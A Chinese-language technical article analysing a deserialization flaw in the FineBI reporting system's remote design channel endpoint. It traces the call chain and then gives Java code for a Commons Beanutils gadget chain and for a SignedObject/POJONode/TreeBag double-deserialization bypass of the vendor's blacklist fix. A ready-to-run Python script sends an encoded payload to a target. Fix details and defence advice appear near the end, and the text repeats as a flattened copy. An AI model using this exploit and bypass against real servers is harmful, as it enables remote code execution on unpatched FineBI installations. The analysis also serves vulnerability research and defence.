帆软channel接口反序列化漏洞分析
字数 2078 2025-08-18 17:33:25

帆软Channel接口反序列化漏洞分析与利用技术文档

1. 漏洞概述

帆软报表系统(FineBi)的/webroot/decision/remote/design/channel接口存在反序列化漏洞,攻击者可通过精心构造的序列化数据实现远程代码执行。该漏洞影响FineBi 5.1.0及之前版本,5.1.18版本通过黑名单机制进行了修复,但仍可通过二次反序列化技术绕过。

2. 漏洞环境

  • 受影响版本:FineBi 5.1.0
  • 修复版本:FineBi 5.1.18(存在绕过可能)
  • 漏洞接口:/webroot/decision/remote/design/channel

3. 漏洞分析

3.1 漏洞调用链

  1. 请求到达com.fr.decision.extension.report.api.remote.RemoteDesignResource类的onMessage方法
  2. 调用WorkContext.handleMessage方法
  3. 调用WorkspaceServerInvoker.handleMessage方法
  4. 调用WorkspaceServerInvoker.deserializeInvocation方法
  5. 使用SerializerHelper.deserialize对输入流进行反序列化
  6. 最终调用InvocationSerializer.deserialize方法中的readObject

3.2 关键代码路径

// 入口点
com.fr.decision.extension.report.api.remote.RemoteDesignResource.onMessage
   com.fr.workspace.WorkContext.handleMessage
     com.fr.workspace.engine.rpc.WorkspaceServerInvoker.handleMessage
       com.fr.workspace.engine.rpc.WorkspaceServerInvoker.deserializeInvocation
         com.fr.serialization.SerializerHelper.deserialize
           com.fr.serialization.GZipSerializerWrapper.deserialize
             com.fr.rpc.serialization.InvocationSerializer.deserialize
               ObjectInputStream.readObject() // 反序列化触发点

3.3 序列化处理流程

  1. 输入流被包装为GZIPInputStream对象
  2. 使用GZipSerializerWrapper进行反序列化
  3. 最终调用InvocationSerializerdeserialize方法执行反序列化

4. 利用技术

4.1 基本利用链(CB链)

FineBi集成了Commons Beanutils(CB)依赖,可使用CB链进行利用:

TemplatesImpl  BeanComparator  PriorityQueue

4.1.1 利用代码生成

// 创建恶意TemplatesImpl对象
TemplatesImpl templates = new TemplatesImpl();
// 设置_bytecodes字段(恶意类字节码)
byte[][] payloads = {generateEvilClass()};
bytecodes.set(templates, payloads);

// 创建BeanComparator
BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
// 设置property为"outputProperties"
property.set(beanComparator, "outputProperties");

// 创建PriorityQueue并设置queue数组
PriorityQueue queue = new PriorityQueue(2, beanComparator);
queue.add("a"); queue.add("b");
queue1.set(queue, new Object[]{templates,templates});

// GZIP压缩序列化数据
ByteArrayOutputStream baos = new ByteArrayOutputStream();
GZIPOutputStream gos = new GZIPOutputStream(baos);
gos.write(serializedData);
gos.finish();

4.1.2 注意事项

  • 需要使用Commons Beanutils 1.8.3版本生成payload(1.9.2版本会导致InvalidClassException
  • 数据需要经过GZIP压缩

4.2 绕过黑名单的二次反序列化技术

FineBi 5.1.18通过黑名单机制修复了漏洞,但可通过二次反序列化绕过:

4.2.1 技术原理

利用SignedObject类进行二次反序列化:

  1. SignedObjectgetObject方法会对其内部存储的对象进行反序列化
  2. 通过Jackson的POJONode触发getObject调用
  3. 使用TreeBag调用链最终触发POJONode.toString

4.2.2 完整调用链

TreeBag.readObject
  → TreeMap.put
    → TreeMap.compare
      → ClassComparator.compare
        → VersionComparator.compare
          → POJONode.toString
            → SignedObject.getObject
              → // 二次反序列化触发CB链

4.2.3 关键实现代码

// 1. 创建初始CB链
PriorityQueue queue = ...; // 同基本利用链

// 2. 封装为SignedObject
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject dso = new SignedObject(queue, kp.getPrivate(), Signature.getInstance("DSA"));

// 3. 封装为POJONode
POJONode node = new POJONode(dso);

// 4. 创建TreeBag调用链
ClassComparator classComparator = new ClassComparator("org.freehep.util.VersionComparator");
TreeBag treeBag = new TreeBag(classComparator);
treeBag.add(-1);

// 5. 通过反射设置TreeBag的root.key为POJONode
Field map = treeBag.getClass().getSuperclass().getDeclaredField("map");
Map treeMap = (Map) map.get(treeBag);
Field root = treeMap.getClass().getDeclaredField("root");
Map.Entry mapEnter = (Map.Entry) root.get(treeMap);
Field key = mapEnter.getClass().getDeclaredField("key");
key.set(mapEnter, node);

4.2.4 绕过黑名单的关键点

  1. 使用SignedObject绕过对直接反序列化类的检查
  2. 利用Jackson的序列化机制触发getObject调用
  3. 通过ClassComparator动态加载VersionComparator类(不在黑名单中)

4.3 实际利用脚本

import requests, base64

host = "http://target:port/"
payload = "H4sIAAAAAAAAAGWTT2sTQRjGn9lNkzRNaxtta70Jgm2FXcWDYMU/DQjBUKst9pBCmGyGuLKZXWdm261gD/0AnvwW9lIQFQ+CVw9614sXjx7EiyBW381G09pd2Jl5Zt73mfc3s7tfMaQVph/wDe7Exg+cZeWHyjdbd2IRi6cfzz//eW1nz4ZVQ077j0QdJS/sRlxxEyqDqXoa6aaRbvWfvpBEACxKfC5UHYdH3LsvHIrrhlI7LcFlGqCdReoNoj48YTv7S9+2LViHXB5iG6yOYqTCSCizZVDJXAMuO+6KUb7skCO5zffKSGUnk89UuRa1qYXUvvE3xMBs015/vL785b0FJJHBeBibKDbLmYUv9GaOKrAp52XaiKNj6RyoJOHk4fjSCCV54CQ6MJ5jFE+cVdGNAm6ErlE7vHb7rdx9dtFGvobRpi/bQpqluNsSqoaxJgVIHQhTIz1poNRsbRnhhW2hDexGY7GBfNMLuKZhpXGg4mqqLdQx1JS8K1I6uTommv9XcPhwBnp2OPhNT6x6Rrd+zUx2Op8u9VjQFCPdaizufp/+kS+ufu7LzHu3//oNTV/ADEM+lEHI2wUwhuuEyCVELiFyM0RuD5H7F5HbQ+SqWBq/K9wbLU3Fe2a1T6AAmzJe8aVvrjLYs3P3GHJVIkETZQwhX0IRwwwTAwh3s1QFjDCUOsL0xwyTs3P1I8sWyhjFWAllHKPMHg+8IiaoJxLhMZydPXqfDiYhdp4g5GUcx4k0ySR5roSx8sRNPyDPkQyGk4bgNCykl4eI0Uubp2+BRqdIZ9SOzb9E6RXGK5UXmFrb66+cTn8YnKSraHPOo02GJD3Z0eQPQVjlt6IDAAA="
data = base64.b64decode(payload)

res = requests.post(url=host+"/webroot/decision/remote/design/channel", 
                   data=data,
                   verify=False)
print(res.text)

5. 修复与防御

5.1 官方修复方式(5.1.18版本)

  1. 使用JDKSerializer.CustomObjectInputStream封装输入流
  2. 实现resolveClass方法检查黑名单
  3. 黑名单位于com.fr.serialization.blacklist.txt

5.2 黑名单内容

黑名单包含常见利用链相关类,如:

  • Commons Beanutils相关类
  • Commons Collections相关类
  • JDK危险类(如PriorityQueue
  • 其他常见危险类(如TemplatesImpl

5.3 防御建议

  1. 升级到最新版本
  2. 实施输入验证和过滤
  3. 限制反序列化操作
  4. 使用白名单机制替代黑名单

6. 技术难点与解决方案

6.1 版本兼容性问题

问题:Commons Beanutils 1.9.2生成的payload不兼容
解决:使用1.8.3版本生成payload

6.2 提前触发问题

问题:直接添加POJONode会提前触发漏洞
解决

  1. 先添加无害对象
  2. 通过反射修改TreeBag内部数据
treeBag.add(-1); // 先添加无害对象
// 通过反射修改为恶意POJONode
Field map = treeBag.getClass().getSuperclass().getDeclaredField("map");
// ... 反射设置root.key

6.3 序列化异常问题

问题BaseJsonNodewriteReplace方法导致序列化异常
解决:使用Javassist移除该方法

CtClass ctClass = ClassPool.getDefault().get("com.fr.third.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();

7. 参考资源

  1. Java反序列化漏洞的一些利用链分析
  2. 帆软报表反序列化漏洞分析
  3. 二次反序列化技术研究
  4. 黑名单绕过技术

8. 总结

帆软Channel接口反序列化漏洞展示了反序列化漏洞的典型利用方式及防御绕过技术。通过分析该漏洞,我们可以深入理解:

  1. Java反序列化漏洞的利用原理
  2. 黑名单机制的局限性
  3. 二次反序列化绕过技术
  4. 实际漏洞利用中的各种边界条件处理

该案例为研究Java反序列化安全提供了宝贵的学习材料,也强调了设计安全的反序列化机制的重要性。

帆软Channel接口反序列化漏洞分析与利用技术文档 1. 漏洞概述 帆软报表系统(FineBi)的 /webroot/decision/remote/design/channel 接口存在反序列化漏洞,攻击者可通过精心构造的序列化数据实现远程代码执行。该漏洞影响FineBi 5.1.0及之前版本,5.1.18版本通过黑名单机制进行了修复,但仍可通过二次反序列化技术绕过。 2. 漏洞环境 受影响版本:FineBi 5.1.0 修复版本:FineBi 5.1.18(存在绕过可能) 漏洞接口: /webroot/decision/remote/design/channel 3. 漏洞分析 3.1 漏洞调用链 请求到达 com.fr.decision.extension.report.api.remote.RemoteDesignResource 类的 onMessage 方法 调用 WorkContext.handleMessage 方法 调用 WorkspaceServerInvoker.handleMessage 方法 调用 WorkspaceServerInvoker.deserializeInvocation 方法 使用 SerializerHelper.deserialize 对输入流进行反序列化 最终调用 InvocationSerializer.deserialize 方法中的 readObject 3.2 关键代码路径 3.3 序列化处理流程 输入流被包装为 GZIPInputStream 对象 使用 GZipSerializerWrapper 进行反序列化 最终调用 InvocationSerializer 的 deserialize 方法执行反序列化 4. 利用技术 4.1 基本利用链(CB链) FineBi集成了Commons Beanutils(CB)依赖,可使用CB链进行利用: 4.1.1 利用代码生成 4.1.2 注意事项 需要使用Commons Beanutils 1.8.3版本生成payload(1.9.2版本会导致 InvalidClassException ) 数据需要经过GZIP压缩 4.2 绕过黑名单的二次反序列化技术 FineBi 5.1.18通过黑名单机制修复了漏洞,但可通过二次反序列化绕过: 4.2.1 技术原理 利用 SignedObject 类进行二次反序列化: SignedObject 的 getObject 方法会对其内部存储的对象进行反序列化 通过Jackson的 POJONode 触发 getObject 调用 使用 TreeBag 调用链最终触发 POJONode.toString 4.2.2 完整调用链 4.2.3 关键实现代码 4.2.4 绕过黑名单的关键点 使用 SignedObject 绕过对直接反序列化类的检查 利用Jackson的序列化机制触发 getObject 调用 通过 ClassComparator 动态加载 VersionComparator 类(不在黑名单中) 4.3 实际利用脚本 5. 修复与防御 5.1 官方修复方式(5.1.18版本) 使用 JDKSerializer.CustomObjectInputStream 封装输入流 实现 resolveClass 方法检查黑名单 黑名单位于 com.fr.serialization.blacklist.txt 5.2 黑名单内容 黑名单包含常见利用链相关类,如: Commons Beanutils相关类 Commons Collections相关类 JDK危险类(如 PriorityQueue ) 其他常见危险类(如 TemplatesImpl ) 5.3 防御建议 升级到最新版本 实施输入验证和过滤 限制反序列化操作 使用白名单机制替代黑名单 6. 技术难点与解决方案 6.1 版本兼容性问题 问题 :Commons Beanutils 1.9.2生成的payload不兼容 解决 :使用1.8.3版本生成payload 6.2 提前触发问题 问题 :直接添加 POJONode 会提前触发漏洞 解决 : 先添加无害对象 通过反射修改 TreeBag 内部数据 6.3 序列化异常问题 问题 : BaseJsonNode 的 writeReplace 方法导致序列化异常 解决 :使用Javassist移除该方法 7. 参考资源 Java反序列化漏洞的一些利用链分析 帆软报表反序列化漏洞分析 二次反序列化技术研究 黑名单绕过技术 8. 总结 帆软Channel接口反序列化漏洞展示了反序列化漏洞的典型利用方式及防御绕过技术。通过分析该漏洞,我们可以深入理解: Java反序列化漏洞的利用原理 黑名单机制的局限性 二次反序列化绕过技术 实际漏洞利用中的各种边界条件处理 该案例为研究Java反序列化安全提供了宝贵的学习材料,也强调了设计安全的反序列化机制的重要性。